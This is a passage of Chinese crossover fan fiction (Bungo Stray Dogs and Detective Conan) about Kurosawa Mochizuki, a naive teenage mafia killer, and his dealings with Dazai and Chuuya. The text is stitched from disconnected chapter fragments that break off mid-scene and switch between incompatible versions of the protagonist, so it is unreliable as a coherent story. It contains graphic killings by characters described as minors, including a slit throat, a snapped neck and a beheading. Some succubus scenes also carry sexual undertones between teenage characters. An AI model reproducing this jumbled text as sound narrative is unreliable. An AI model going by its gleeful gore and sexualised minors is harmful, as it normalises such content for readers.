“没想到居然是最近名气颇大的「双黑」之一亲自过来,而且就带了一个部下,这也太放心我们了吧?真是让我感动。” “——不过我还有个问题。虽然听说过「双黑」二人十分年轻,但没想到还是个未成年呢,就连部下也是。” “原来港口mafia这么缺人吗?” 周围池田组的人闻言,不约而同地嗤笑起来。 房间里回荡着男人们笑声,有些刺耳。一直保持着站姿的黑泽望月忍不住抬手,揉了揉自己的耳朵。 落座在对面的真皮沙发上的黑发少年,眼神平静地注视着面前的男人,周围的声音仿佛进入不了他的耳朵。 太宰治叹了口气,像是提不起精神般,慢吞吞地说道。 “虽然知道这个世界充满了自大傲慢却不自知的家伙,但是果然……还是很无趣呢。我可不想做这么无聊的工作。” “可能是BOSS觉得,像你们这样的组织派我这样的小鬼应付一下就足够了吧。” 池田脸上的笑容淡了些。 “哈?你他妈什么意思啊小子——” 背后不知道哪个人被激怒后吼到,被池田一个眼神制止,咬牙切齿地忍下。 似乎没有听见般,太宰治神情淡然,放在桌前的茶也没有拿起来的意思,只是用手支撑着下巴。 “多余的话就省下吧,池田先生。不如尽快切入正题,这样你我都能轻松些。” “既然池田先生邀请我们过来,想必是已经看过港口mafia给出的条件了吧。您的意下如何?” 太宰治的举动让望月在心中鼓起了包子脸。 这个词在横滨早已根深蒂固,深深地植根在这座城市的黑暗面。 小心翼翼地陪好客人,别惹他们不快。 既能保住性命,又能赚钱,何乐而不为呢。 陪酒女郎们挂着笑,为他们倒酒,阿谀奉承着包厢的主人。 “客人今天的心情看上去很好啊,是遇到什么开心事了吗?” 今天又谈了一笔「大生意」,结束后来这家娱乐会所喝酒唱歌放松放松,是男人向来固定的习惯。 这里是他的地盘,足够隐蔽,知道的人都是心腹。 穿着花衬衫的男人随手将几沓扎好的万元大钞甩到了矮桌上,酒杯倒了酒水打湿了那叠纸钞,让周围的人看得直心疼。 但男人全然不在意,语气豪迈。 “今天谁喝的酒最多,桌子上的钱就能全部拿走!” “真的吗!” “老板真大气!” 不论是小弟还是陪酒女郎,甚至负责安全的保镖们,看到那几沓万元大钞时,眼睛都亮了起来,连忙恭迎讨好着。 气氛一下被轰到了高潮,哄闹声甚至快要盖过了音响。 站在角落里等着客人吩咐的服务员们,看着那笔钱眼睛都绿了,心中暗暗羡慕。 穿着花衬衫的男人咬着雪茄,抬了抬下巴示意让他们也过来一起。 “不管是谁都来玩!今天开心,都给我喝!” “老子最不缺的就是钱!” 男人放肆地大笑着,从一旁的手提箱里又掏出一沓厚厚的纸币,用力地往空中一扔,顿时如同天女散花般飘落而下,惹得陪酒女郎们和小弟们发出兴奋的惊呼。 服务员们也心动了,没过多犹豫,也都凑了上来,试图参与这场游戏。 男人喝着陪酒女郎给自己倒的酒,得意得欣赏着面前的人为了钱疯狂给自己灌酒的可笑模样,像是吐着舌头腼着脸的狗。 只要有钱,怎么羞辱他们都不会反抗。 他不屑地想着,抬脚把一旁喝吐了的家伙踹到一旁,冰冷鄙夷的目光让身边的人心领神会,立刻把这碍眼的家伙拖到边上,免得老大不开心。 这时,男人的余光瞥到角落里还有一个人。 一个穿着服务员衣服的男生,个子不高,年龄也不大,金色的头发在灯球下不那么明显。 他乖巧地站在阴影处,看向这边的眼神却透露出一股好奇。 哟,居然还有人没过来。 “那边那个服务员。” 男人的这句话,让周围喝酒的人的吵闹稍微小了些,下意识朝着男人的视线看去。 那个金毛服务员还没反应过来,左右看了看发现没有人,呆呆地指了指自己,歪着脑袋确认。看起来不怎么聪明的样子。 在小弟不耐烦的骂声下,这才哒哒哒地小跑过来。 “客人有什么事情吗?” 金发服务员——黑泽望月腰背站得笔直,一本正经地问道。 ——他之所以出现在这里,装扮成服务员的样子,是出于任务需求。 面前这个穿着花衬衫的男人,外号“横鼠”,正是这次任务目标——而自己的任务是,盯紧对方的行踪,确保对方不会逃跑。 江户川乱步回答得很果断,似乎早就料到他会这么做。 就在侦探猫猫伸手,准备拿走那颗巧克力时,一旁的福泽谕吉看不下了。 银发长者声音威严。 “乱步,你忘了你的「甜品禁止令」吗?” “之前去补牙的时候,医生说过这段时间要限制你的甜食摄入,所以不可以吃巧克力。” 江户川乱步瞪大了眼睛,像是难以置信般哇哇大叫起来。 “太过分了社长!我已经三天没有吃甜食了!” “而且这是笨蛋君的委托报酬,我收下也很合理——对吧,笨蛋君!” “不是笨蛋是望月。” 黑泽望月认真地纠正,然而跟着乱步一起扭头,用可怜巴巴的眼神看向福泽谕吉。 “大叔大叔,这是我给名侦探的委托报酬。真的不可以吗?” 面对一猫一狗(?)的可怜眼神,福泽谕吉莫名感到了一种难以描述的……压力? 感觉不答应的话,自己好像做了什么不得了的坏事。 之前做政府的特工时,好像都没有过这种压力。 “好吧……” “大叔万岁!”“社长万岁!” 望月和乱步击掌,欢呼起来。 ——这俩人是真的玩到一块去了啊。 终于能吃到甜食的江户川乱步心情不错,声音也跟着愉悦不少。 他赶紧把这「来之不易」的巧克力收起来,抬手压了压自己脑袋上那顶驼色的贝雷帽,不紧不慢地说道。 “不过先说清楚,「侦探」可不是什么神婆先知,不提供情报的话,就算是我这样的名侦探,也不可能凭空得知「真相」的哦。” 望月想了想,提供了一些不会涉及到重要情报的信息。 江户川乱步听后,瞥了面前的金发少年一眼,用鼻子轻哼一声。 他随手抓了张纸,在上头写了几个地点,对折后丢给望月。 黑泽望月愣了一下,朝着面前的中原中也缓慢地眨了眨眼睛,那双熟悉的深绿色眸子此时被茫然和困惑所覆盖。 “可是人类总归都会死掉的吧?” “因为不管怎么样,人到最后身体都会衰老的。毕竟细胞老化可是不可逆的事情哦。” “不老不死的那应该叫做妖怪了。” 黑泽望月一本正经地强调道。 那语气好像是在教育对方,要多读书多学知识。 “所以,普通来说,人类到最后都会衰老而死亡的。” “等我变成七八十岁的老爷爷的时候,中也说不想让我死,也是没有办法吧。” “哦,不过那个时候,中也也和我一样变成老爷爷了!” “正所谓时间是最好的杀猪刀……咦,这里是应该这么用的吗。” “……” 中原中也被望月这一通乱七八糟的脑回路堵的,心中刚刚翻涌起的情绪瞬间如同上升的气泡一样,炸裂消失。 赭发少年脸上的无语太明显了,黑泽望月歪着脑袋,认真思索着说道。 “难道不是吗?” “中也没有想到吗?啊,还是说刚刚是为了耍酷……啊!想起来了,是之前看的少女漫画,里面的男主角对受重伤的女主角也说了同样的话呢。” “但是中也,这样的套路已经吸引不了读者们的内心了,太老土了嗷嗷哇哇哇哇好痛好痛——” 望月完全没有自觉,还在那儿吧啦吧啦说个不停,结果就被对面的中原中也黑着脸掐住了脸颊。 金发少年嗷嗷叫唤的可怜劲儿,成功把边上其他用餐的客人们的注意力都吸引了过来。 “你这家伙是真的读不懂空气,还是给我装作读不懂啊混蛋?!” 中原中也被他整得是一阵无语,火从心来,干脆好好地发泄回去。 赭发少年的手劲可不是盖的,他的脸蛋像是棉花团子一样,在对方的手下被肆意揉搓,捏得通红。 黑泽望月泪眼汪汪地求饶,也没有唤起中原中也任何同情心。 果然对待笨蛋不能太认真。 太认真就输掉了啊! 黑泽望月费了老大的功夫,才从对方手中挣脱。 他居然还用异能力摁住自己的身体不让动。 犯规! 居然把异能力用在这种地方上! 黑泽望月在心中忿忿不平,嘴上却不敢多抱怨对方。 ——怎么说今天请客的人都是中也。 想到这个,望月又开心了。 情绪来得快去得快,忘性大是这家伙的坏毛病。 对此中原中也非常恨铁不成钢。 脸颊被捏得发红,还有热烫的感觉。 黑泽望月试图拿桌上那杯可乐贴在脸上降降温,无奈刚刚用油爪子抓过,杯子外壁也油乎乎的,只得放弃这个想法。 “诶,外头的雨停了呢。” 快餐店内,不知道是谁突然冒出了这么一句。 “看来是阵雨呢。” “太好了,我今天可没带伞。” “运气不错。” 黑泽望月顺着听到的话看向玻璃窗外。 雨的确停了,玻璃窗上残留着晶莹的水珠,顺着重力滑落,不远处的地面上也湿漉漉的。 只是天空还是灰蒙蒙的,不知道过多久又会下起来。 “中也,雨停了啊。” “啊。”中原中也应了一声。 “那看来不用叫司机过来了。” “汽车就是这点方便,不用担心下雨。唉,要是能在中也的机车上装个雨棚就好了,这样又能挡雨又能骑……中也真的不考虑一下吗?” “……你要敢这么做我绝对会揍你的。”他回去得看好自己的机车。 两个人有一搭没一搭地闲聊着。 但不管怎么样,这条掌控了性命的金属项圈,始终都像一枚挂在脖子上的定时炸.弹,不知道什么时候倒计时就会归零。 要趁着炸.弹尚未爆炸,尽早拆除才好。 当中原中也推开办公室的门时,便看到某种银发恶魔有气无力地翘着屁股趴在地上,嘴巴里似乎还在碎碎念着什么,而一旁坐着太宰治。 中原中也的眉毛皱起。 他刚要出声,望月似乎是闻到了气味,慢吞吞地抬起了头看向门口。 在见到自己后微微一愣,下一秒,仿佛找到了家人似的,那双紫眸一下子飙出了眼泪。 银发恶魔泪眼汪汪地便扑了过来,挂在他身上一顿嗷嗷叫唤。 “喂、喂?你这家伙突然间干什、”中原中也一时间慌乱。 “中也——!果然吾辈还是最喜欢你了!” 银发魅魔哭丧着脸。 那个叫做太宰的黑发人类简直是恶魔的化身——不,是比恶魔还要恶劣糟糕的家伙! 还是中也好啊! 第 24 章 第二十四章(二合一) 刚进来就被银发少年扑了个满怀,泪眼汪汪地找自己诉苦,一副再信赖自己不过的模样。 望月顶着荷包蛋眼,嗷地一下抱紧了面前的中原中也。 银发少年扑过来时,中原中也身体的肌肉僵硬了一瞬。 “呜呜呜,那个黑发人类简直是恶魔。果然还是中也最好,吾辈最喜欢中也了——” 好骗,心软,而且还美味。 银发恶魔虽然嘴上语气可怜巴巴的,然而身后那条尾巴甩动着,看起来无比欢快。 “喜、喜欢什么的……” 中原中也的声音有些磕巴。 然而他这一的反应,也被不远处的太宰治收入眼底,对此嗤之以鼻,在心中嘲笑道。 小蛞蝓就是小蛞蝓,没有脑子的单细胞。 被魅魔的几句花言巧语就被骗得团团转,真是个可怜的童贞处男。 ……虽然说着话的主人自己也是个处男罢了。 中原中也的思绪停顿了片刻。 虽然知道这笨蛋魅魔说出这话只是没经过大脑,大概没有别的深意。 中原中也还是无可避免地感觉到一种莫名的羞赧,耳朵有仿佛被火燎了般涌起一股滚烫的烧灼感。 再加上对方冲上来抱着自己的脖颈,像猫似的就是一顿猛蹭,湿漉漉的鼻息吞吐在锁骨上…… …等一下。 意识到什么后,中原中也脸上顿时变成了面瘫脸,一点也不带犹豫地,伸手把贴在自己身上的银发恶魔扯了下来。 望月一时间没有预判到中原中也的动作,本来想趁机偷偷舔一口对方的锁骨,结果半途就被对方薅了下来,舌头刚伸出来没来得及收回去。 两个小时前,左等右等没等到人的中原中也,在任务现场几乎快要爆炸的时候,从部下的口中得知,太宰因为脑袋撞石头上,脑震荡昏迷过去被送进了医院这件事,不由得打出了一个问号。 ——脑袋撞石头上?这么蠢的事发生在太宰身上,真的假的?混蛋青花鱼又在搞什么幺蛾子? 但任务总得有人来完成,捏着鼻子一个人解决掉事情后,中原中也赶到医院,原本以为太宰是为了溜班而故意找的借口,没想到是真的。 “看来光缠着眼睛不够,这回把整个脑袋都缠上了。怎么,总算下定决定以绷带怪人的造型吓死敌人吗?现在可没到万圣节啊。” “刚刚不该让上村他们先走的,应该让他们看看你现在的糗样。” 太痛快了!没什么比看到太宰吃瘪更令人痛快的事了! 中原中也觉得今天得回去开瓶香槟庆祝庆祝。 太宰治一改刚刚阴沉的表情,笑眯眯着,嘴巴一张不落下风地回敬道。 “要说吓人还得是中也吧。穿得黑漆漆又那么不丁点大,在天花板上爬来爬去,cosplay蟑螂吗?” “混蛋你骂谁是蟑螂呢!” “啊啦,承认了吗?” “……果然还是送你去长眠吧,这辈子都别醒了!” 在吵架上显然还是中原中也稍逊色一筹。 就在中原中也拳头硬邦邦地,已经拎起了对方病号服的衣领,准备让太宰治的脑震荡程度更上一层时,注意到一旁表情有些扭曲,陌生的金发少年时,不免感到一丝尴尬。 怎么说这里都是医院,而且还是在不熟的人面前,中原中也松开了手,假咳了一声掩饰自己的表情。 然而脑袋已经放空,进入宇宙了的黑泽望月,其实完全没有听见周围的声音。 在回过神来后,他立即来了个土下座,用震耳欲聋的声音大声道。 “非常抱歉太宰先生!都是我的过错,但我绝对没有任何想要谋杀你的念头。不管是切掉小指也好还是别的什么,无论什么我都会去做的!” “请、请相信我,我绝对不是卧底!” “……”这家伙是笨蛋吧。 太宰治和中原中也不约而同地想道。 最后还是太宰吊起嘴角,嘲讽道。 “说得也是呢,毕竟不会有人让一个笨蛋来做卧底的吧。” 呜哇,这句话和波本说的一模一样呢。 完全不觉得自己是被嘲讽了的黑泽望月,在心里对波本的信任更上一层。 感觉自己逃过一劫的黑泽望月又精神了。 他抬起头,表情严肃。 “还有您的头发,真是对不起,我会肩负起责任的!” 太宰治沉默。 而中原中也在听到黑泽望月的话后,直接笑出声。 “喂喂,太宰,你的头发没问题吧?需要我帮你找生发水吗?” “……谁会长不出头发,又不是森先生那个中年大叔。那玩意儿你还是给他吧。” 太宰治很快又重新拾回冷静,翻了个白眼。 他冷漠地看向在面前土下座的金发少年。 土下座中的黑泽望月满脑子盘算着该如何让对方原谅自己。 然而他并不像波本和贝尔摩德那样,擅长观察人类的表情和情绪,只能按照直觉走了。 “……只是切小拇指吗?真无聊啊。” 然而,头顶上传来黑发少年轻飘飘的声音,吐出的字句却相当冰冷。 “既然你那么诚恳地想要博得原谅的话,至少要拿出更高的诚意来吧——切腹怎么样?” “毕竟是你说的嘛,什么事都会去做的。” 恶劣,几乎是嘲弄的语气。 散发着漆黑的恶意。 太宰治歪着脑袋,眼神毫无波澜,如同对一切都不感兴趣,饶有兴趣地看着面前金发少年的后脑勺。 他想象着对方接下来会如何求饶。 像是他在审讯室里遇到过的,各种各样形形色色的人。 不论看起来多么宁折不屈,铮铮铁骨,在面对死亡和痛苦的时候,人类所展露出来的姿态,却又是几乎一致的丑陋。 有的时候,他也会对此感到厌倦。 向来重情义的中原中也当然看不过A这一点。 “抱歉抱歉,是我失言了。”A摊开手,“当然是港口mafia的赌场,毕竟这里的四成利润,都是交给港口mafia的嘛。看在我们都是为了同一件事的利益上,请原谅我吧。” 说得好听,谁不知道A把这些赌场都当做了私有物。 中原中也也不是没见过这种口蜜腹剑的家伙。 这种事情原本是应该由太宰那个阴险狡诈的家伙来交涉、工作 ——那家伙仗着受伤的名义,心安理得地翘班摸鱼,把工作全都甩给了身为搭档的自己。 不过现在可不是和A撕破脸面的时候,森先生那边可没办法交代。 越想越不爽的中原中也一肚子窝火。 不像太宰那样善于隐藏情绪,中原中也的心情不好,任凭谁都看得出来。赌场的气氛有些尴尬——除了唯一一个没有眼力见的。 黑泽望月松开手里拎着的男人的衣领,轻轻松松地丢到一边,朝着不远处的中原中也欢快地挥手示意。 “又见面了呢,中也!” “嗯。”再怎么不情愿,还是得说正事。 在广津柳浪的注视下,太宰治臭着脸再次推开门,屋里的景象还是没有改变。 倒是黑泽望月像是找到救星似的,深绿色的眸子一亮。 “唔哦哦哦,是太宰先生!” 看到太宰治后,原本抱着脑袋挨揍的黑泽望月立即弹起来,中原中也一时间都没抓住。 他挥手打招呼,蹦蹦跳跳地,兴奋得像是看到玩具球的金毛。 “您的身体已经好了吗?头发已经长出来了吗?” 太宰治:…… 手痒痒了,很想给不会读空气的笨蛋的脑袋来上一枪。 真不知道这家伙是故意的,还是天生这么蠢。 “你从哪儿把这只蠢狗捡回来的?” 太宰治无视了望月,朝着一旁中原中也的方向嫌弃地翻了个白眼,“眼光真差。” “……A的赌场。” 气还没消的中原中也啧了一声。但毕竟对方现在算是自己的部下,向来护犊子的赭发少年冷冷地瞥了眼自己的搭档。 “这家伙虽然蠢了点,在打架方面倒算得上是能手。总比某个体术中下的弱鸡来得强。” “哦~原来如此,都是脑子里只有暴力的狗狗啊。怪不得,毕竟同一种物种之间是会互相吸引的嘛。” “哈?你说什么呢混蛋青花鱼!需要我再送你去医疗部一趟吗?” “就是就是,刚刚不是说我们是小蛞蝓吗!” “你给我闭嘴!”“你给我闭嘴。” 这个时候,中原中也和太宰治的同步率倒是相当的高。 “……为什么就骂我,我被排挤了吗?这是职场霸凌!”黑泽望月难以置信地瞪大眼睛,大声地抗议道。 三个小家伙在办公室里呜哇呜哇地吵着。你一句我一句,快要把房顶掀翻了。 指望太宰治和中原中也在任务时间外和平相处已经着实比较艰难,现在又多了个黑泽望月,更是往火上倒了一桶汽油。 再这样吵下去就没完没了了。 广津柳浪作为在场唯一靠谱的长者,及时地介入纷争之中。 “咳,中也君,太宰君。” 广津柳浪掩唇,轻轻咳嗽了一声。 他的声音不大,但总算让三个人安静了下来。 几个人齐刷刷地扭过头来,脑袋凑在一起的样子,脸上的表情还没调整好,看上去像几只毛茸茸的小动物。 “抱歉,请允许我打断几位一下。在争吵之前,实际上还有一件事情。” “关于「池田组」的谈判,时间已经确定下来了。” 说起正事,中原中也立刻抽回神。 他松开了捏着某金毛脸颊的手,表情严肃地问道。 “BOSS的意思是让我也一起去吗?” 广津柳浪刚要开口,就被太宰治打断了。 “——只是谈判而已,「双黑」一起出动,也未免太看得起对方了。说实话,如果不是森先生命令,我都懒得去。” 黑发少年没了刚刚的活力,声音听起来懒洋洋的。听到这里,广津愣了一下,忍不住看了眼身前的太宰治。 太宰治没有在意广津的目光,只是话锋一转,不紧不慢道。 “毕竟,我们的目的是「谈判」嘛,能够合作是最好,无法合作只能说可惜,但也没什么好遗憾的。” “如果是一大堆人去,只会让对方会提起警惕。” 太宰治慢吞吞地说道,鸢色的眸子看向了缩在中也身旁,偷偷地揉着自己的脸颊,一副吃痛表情的黑泽望月。 “中也刚刚不是说,你的新部下在打架上算得上能手吗。” “脑子不好用的话,那至少要在别的方面证明一下自己的价值吧。港口mafia可不是流浪动物收容机构。” 在注意到对方脖颈上的项圈后,太宰治目光稍稍一顿,随后平静地挪开。 “狗带一只就够了。” 中原中也下意识点了点头,但当反应过来后,嘴角微微抽搐。 ……那家伙搞什么鬼啊,他和这家伙很熟吗? 黑泽望月好像天生脑袋里缺根弦。 见到熟人后——当然是他单方面以为的熟人——兴奋又开心,像是热情的小狗似的摇晃着身后那条不存在的尾巴。 他和中原中也是熟人? A在脑海中飞速滑过乱七八糟的思绪。 他的确从港口mafia那边选了些人上来。 「黑蜥蜴」的人森鸥外不让动,其他干部手下的人他自然不会去讨没趣。 从底层人员选人上来,方便自己控制,也防一手森鸥外往自己这边插眼线。 A还在那边头脑风暴,中原中也则在环视了一圈周围后,对黑泽望月稍微提起些兴趣来。 “这群人你一个人收拾的?”如果真是这样实力,就算放在黑蜥蜴里,也是相当值得让人侧目。 “是。” 黑泽望月呆愣愣地点了点头,脸上的血顺着脸颊滑落,最后落在脖颈处带着的项圈上,融为一体。 在想到什么后,看到地上碎落的凳腿,还有那即张裂开了的赌桌,望月瞬间站直,额头上冒出冷汗。 “我只是按照工作要求把他们收拾掉,有一部分不是我砸的!” 黑泽望月看了一圈周围的人,最后把目光锁定到赌场的主人,紧张地问道, “那个……不小心弄坏掉的桌子椅子什么的,不会要我赔吧?” 如果说刚刚的氛围是紧张的话,现在的氛围应该说是尴尬了。 周围的人都一副「想吐槽但这个时间点吐槽好像会更尴尬啊」的复杂表情。 黑泽望月作为一名优秀KY,完全没读懂空气中的氛围,只是在心中祈祷。 请不要做出这么残忍的事!他这个月的饭钱已经岌岌可危了! 如果真没饭吃,他就要去求助中井前辈和织田他们了,每个人蹭一顿饭的话……好像勉强也能够哦。 金发少年陷入自己的思索之中。 “用不着你赔,我还不至于缺那点钱!” A的声音听起来咬牙切齿。 大概是觉得自己这样子有些失仪,A拼命调整好自己的表情,朝着中原中也露出虚情假意的笑容。 他将手抵在自己的胸口,行了一个欧式礼。 “既然中原君亲自过来,想必是有重要的事情要与我商议吧。不如去赌场里面一坐。” “毕竟今天这情况,赌场看来也开不了业了呢。” 中原中也抬手,压低帽檐漫不经心地说道。 在路过黑泽望月的时候,他的脚步稍稍一顿,扭头看去,正好对上那双好奇的深绿色眸子。 “……喂,你叫什么?” 望月一时间也忘记了害怕,双手直接在胸口比了个大大的叉,表达自己的抗拒。 “不要把吾辈和那群吸血鬼混为一谈,只有他们才会把血液当成饭来吃!” 血液不行的话,那就只剩下唾液……所以望月当时才会去亲那个绷带混蛋。 赭发少年下意识抿紧嘴唇,眸色微微发暗。 那种莫名的糟糕情绪又一次涌上胸口,干涩得令人烦躁不堪。 望月小心翼翼地放下了在胸口比叉的手,探着脑袋,谨慎地观察中原中也的表情。 银发恶魔对着手指,小声嘀咕道。 “吾辈能有什么办法,谁让这里和魔界不同。空气中几乎没有魔力,只能从你们人类身上汲取了。” “和人类一样,魅魔也是要吃饭的嘛,就是吃的食物稍微特殊了那么一点……” “……我知道了。” “……诶?” 装可怜中的望月小嘴地讲得正欢,听到中原中也的声音后停了下来。 银发恶魔的脸变成豆豆眼,呆呆地眨了眨。 望月呆住,眼神充满了智慧。 ……中也说「知道了」这是什么意思? 而面前的赭发少年正皱着眉头,手扶着自己的脖颈别开了视线,似乎是因为感到害羞,耳根染上一层浅浅的粉红色,别扭地说道。 “你要是快没有魔力的话,可以来找我……” 这,这也没办法吧。 谁让对方是恶魔,只有这一种方式,自己只是出于责任心帮忙。 中原中也努力给自己洗脑。 下一秒,银发恶魔的眼中立即冒出了闪亮的小星星,一下没控制自己的尾巴冒了出来,在空气中兴奋地甩动着。 “所以说,中也是允许吾辈吃饭了吗!”银发恶魔欢呼了一声,兴高采烈地就要扑上来,“吾辈的肚子正饿着呢,只要中也不介意,就算在这里开饭也没问题——” “只是保证你这家伙不饿死,别得寸进尺了喂笨蛋!” 中原中也炸了毛,下意识拔高了自己的声音说道,好在周围没有其他人。 忽然想到了什么,赭发少年的声音忽然又一沉。 “但不管怎样,” “不许去找其他人…尤其是太宰那个家伙。” 第 25 章 第二十五章 出乎意料的是,望月并没有像以往那样饥渴地点头,反而哼哼唧唧着,显得有些犹豫。 那双蓝眸暗了暗,扶着脖颈的手也放了下来。 不过,还未等中原中也出声,尾崎红叶的部下正好找了过来,向他行礼,传达上司的指令。 现任五大干部之一,「金色夜叉」的主人。 尾崎红叶当然想要见一见由森鸥外交给自己的,这个年轻的黑手党新人。 赭发少年离开后,望月松了一口气的同时,表情又有些遗憾。 银发恶魔站在原地,似乎在认真思考什么。 【……】 系统有些纠结。 它只是个程序,原本不该对合约者的行为产生过多的干扰(当然某只要违反绿色上网准则的情况除外)。 合约者居然没有直接答应中原中也。 这出乎了它对对方的判断。 毕竟依照这只魅魔的本性和对进食的渴望,它以为他会二话不说地同意。 经过一番斟酌运算,系统询问道。 【为什么没有答应中原中也?这对你来说,不应该是一件好事吗?】 “什么乱七八糟的东西,你这家伙是看不起我们吗?” “区区小鬼……” 其中一个脸上带着刀疤的男人忍不住吼道,握着的手.枪枪口对准了黑泽望月的脑袋,扣下的扳机。 “砰——” 然而,金发少年早已向后一倾,一个高抬腿径直踹开了对方的手枪,随后随手拾起地上因为打斗而碎裂的瓷器片,如同猫科动物般快速翻身,深绿色的眸子锁定,猛地一划。 扑哧—— 鲜血像是坏掉的消防栓般,飞溅在纯白色的墙壁上,绽开一片血花。 男人捂着自己喷血的脖颈,却因为血液堵住气管无法发声,嘴巴里咕噜噜地冒着血泡,抽搐着倒下。 空气中弥漫着铁腥味,这一切发生的太快,一时间没有人反应过来。 太宰治有些嫌弃地抹去飞溅到手背上的血,声音慢吞吞的。 “那么,再向您透露一条内部消息吧。” “BOSS最开始想要的利润,”金发少年正吃着开心,听到中原中也的声音后,他这才把脑袋从便当盒里抬起,两侧的腮帮子被米饭塞得鼓鼓的,声音含糊不清。 他努力把嘴巴里的饭咽下,嘴角还沾着颗饭粒,却一板一眼地说道。 “因为要吃饭啊。” “我以前算是个杀手吧,所以除了杀人之外,什么都不会。加入黑手党是最好的选择。” “是吗……” 中原中也没有怀疑,只是低吟着。 很好,这一段波本训练过自己了! 就算他不擅长撒谎也能够应对!莫非……他是卧底的天才? 望月开心地像是个考试压中题目的学生,就差没在考场上大声欢呼起来,又不能表达得太明显。 然而,在中原中也看来,面前的金发少年抬头,突然用一种bulingbuling的眼神期待地注视着自己,身后不存在的尾巴晃着,满脸写着「我很棒」吧。 ……什么毛病。 中原中也的吐槽没说出口,硬生生憋了回去。 “为什么会突然问这个呢?” “……只是有些好奇。你的身手很好,怎么在A的赌场那边。如果你想去「黑蜥蜴」的话,能力绝对绰绰有余吧。” “因为当时我根本不知道「黑蜥蜴」是什么嘛。” 黑泽望月理直气壮。中原中也看不下去,忍不住用指关节敲了一下望月的脑袋,出声提醒道。 “笨蛋,手上拿着什么牌,全都给你在写脸上了啊!” “诶诶诶,真的吗?” “啧。碍事的小蛞蝓。”太宰啧舌。 “欺负笨蛋很有意思吗?” 中原中也对着太宰翻了个白眼,相当护犊子。 这轮再输,那就是五十连败了的黑泽望月完全没心思听两个人说话,单细胞的脑袋快要宕机。 金发少年紧张得汗流浃背,最终还是没忍住嗷一嗓子喊了出来,成功让双黑二人看向了自己。 “等等、等等……呜,可恶,既然如此,那就这样好了!” 望月紧闭着眼睛,把牌放在身后一顿乱洗。 然后往前一摊,看也不看,仰头自信满满地对着太宰治说道。 “哼哼,这样子我也不知道哪一张是鬼牌。完全就是随机概率,百分之五十,来抽牌吧太宰!” 金发少年露出一副「真不愧是我」的表情。 然而,黑发少年只是瞥了一眼面前的两张扑克牌,随后不紧不慢地选了其中一张翻开。 红桃十。 太宰治的脸上挂着一副亲切和蔼的笑容,把自己手里的牌往面前一丢。 “红桃十,我是梅花十。嗯,清空手牌——这轮又是我赢了啊,望月,这轮的惩罚是什么呢,让我想想……” “嘎啊——” 望月发出了一声像是玩具橡皮鸭被捏瘪了的哀嚎,整个人失意体前屈,瞳孔地震。 “为什么啊,这可是百分之五十的概率啊!” 实际上,这对于太宰治来说并不是百分之五十的概率,而是百分之百。 “唔,脸上好像没什么地方能写的了。”太宰治思索着自言自语道,“啊,干脆拿记号笔在脸上写个「太宰的狗」好了。” 这家伙似乎真准备这么做。 “别太过分了。” 中原中也实在看不下去对方这么欺负自家小狗、部下,把肩上的外套一丢,直接坐下,准备帮望月找回场子。 “喂,太宰,加我一个。” “哦呀,中也也想当我的狗吗?之前在游戏厅输掉,要做我的狗这件事不会忘记了吧?” “把水弄进机子里取胜这种作弊的手段,你居然还好意思说!” 中原中也差点就想一脚踹过去了。 “那就给加个彩头吧。” 太宰微笑着说道。 “介绍的前辈和我说这个的时候,我还以为这是港口mafia的什么动物同好会。” “那是还在想,「港口mafia真好啊,甚至有这种社团」。” “……”你到底把港口mafia当成什么了?高中生活? 中原中也沉默了,嘴角狠狠一抽。 他不确保自己在听完后能不能忍住不揍对方一顿——毕竟对方现在好歹还算是个伤患。 黑泽望月对于中原中也的心路旅程一无所知。 不过,能和对方这样聊天,对于望月来说就是一件非常开心的事。 一向欢快金发少年,语气忽然平静了下来,这让中原中也有些不适应。 “其实,我对被捡到之前的事情,记忆都模模糊糊的。” 中原中也微微一愣,下意识重复道,“被捡到?” “嗯!是哦。” 黑泽望月用力地点了点头,弯着眼睛笑着说道, “是大哥捡到我的哦。如果没有大哥的话,我也不知道自己会在哪里。” “不过……虽然很舍不得大哥,但我也有自己想要做的事情嘛。所以我就从大哥身边离开了。” “因为大哥是在横滨捡到我的,所以我就来了横滨。” 金发少年那双深绿色的眸子看上去亮晶晶的,有一种被毛茸茸的小狗注视着的错觉。 他兴奋地挥舞着手里的筷子,欢快地说道, “说起来,中也身上有种熟悉感,呆在中也身边的时候总觉得很开心!” “能遇到中也实在是太好啦!” 这家伙…… 中原中也的嘴巴张了张,声音却卡在了喉咙里。 “我再多问一句……算了,当我没说。” 中也的声音顿了顿,忽然有些烦躁地抓了抓自己的头发, “我走了,你养伤吧。” 赭发少年站起身,准备离开病房。 走到病房门口时,他的脚步忽然停了下来,转过头看向望月。 一向开朗的金发少年此时正低着头。 深绿色的眸子盯着剩下的便当,似乎是在想什么事情,又像是在发呆,嘴唇紧抿着。 不知为何,透露出一种可怜感。 中原中也抿了抿唇,停顿片刻,忽然出声对对方说道, “等你的腿好了,和我打一场吧,望月。” 黑泽望月下意识抬起头。他没想到赭发少年还没有离开。 回过神来后,望月眨了眨眼,朝着中原中也认真地点头,露出了一个灿烂的笑容。 “嗯!” “我随时奉陪哦。” 等中也走后,黑泽望月缓缓吐出一口浊气。 金发少年盯着饭盒里剩下的食物,不爱浪费粮食的他遇到了史上最大难题,忍不住哭丧着脸。 “为什么便当里有纳豆啊……” “——其实是百分百呢。” 话音刚落,黑泽望月直接跳起,双腿缠上一旁壮汉的脖颈,两只手捧住脑袋后猛地右拧,脖颈顿时呈现一种诡异的角度。 男人的身体瞬间失去了支撑力,金发少年顺势跳下,反手将其挡在自己的身前,作为掩体躲避朝自己射来的子弹。 撑着敌人子弹射空的间隙,他将挡在身前的躯体毫不留情地丢到一旁,一个箭步上前,抓着男人的脑袋狠狠地扣进了后面的水泥墙壁里。 坚硬的水泥墙壁顿时出现了一个大坑,裂痕如同蛛网般朝周围扩散。 靠墙摆放的盔甲、武士刀被撞得七零八落。 望月注意到地上的东西,顺势捡起其中一把短刀,从刀鞘中拔出——没想到这把短刀不是纯粹的装饰品而是开过刃的。 像是出去玩发现了心仪的树枝的某种犬类生物,金发少年顿时变成了星星眼,兴奋地在手上甩了一个刀花,刀刃的金属银光闪耀。 好酷!这也太帅了! 不知道可不可以带回去! “呐呐,太宰先生……” 就在望月扭头想要询问太宰能不能把这把短刀带走时,外头的守卫夺门而入。 这么大的动静,这一层周围的守卫都被吸引了过来。 下一秒,首身分离。 金发少年的动作矫健,没有一丝拖泥带水。虽然只有一个人,却是一场单方面的虐杀。 每一击都正中致命处,脖颈,脑袋,心脏…… 眼前的画面令池田的表情从原本的轻松,再到凝重,最后变成了狰狞。衣襟已被冷汗浸透,血液一股脑地从脚底涌向心脏。 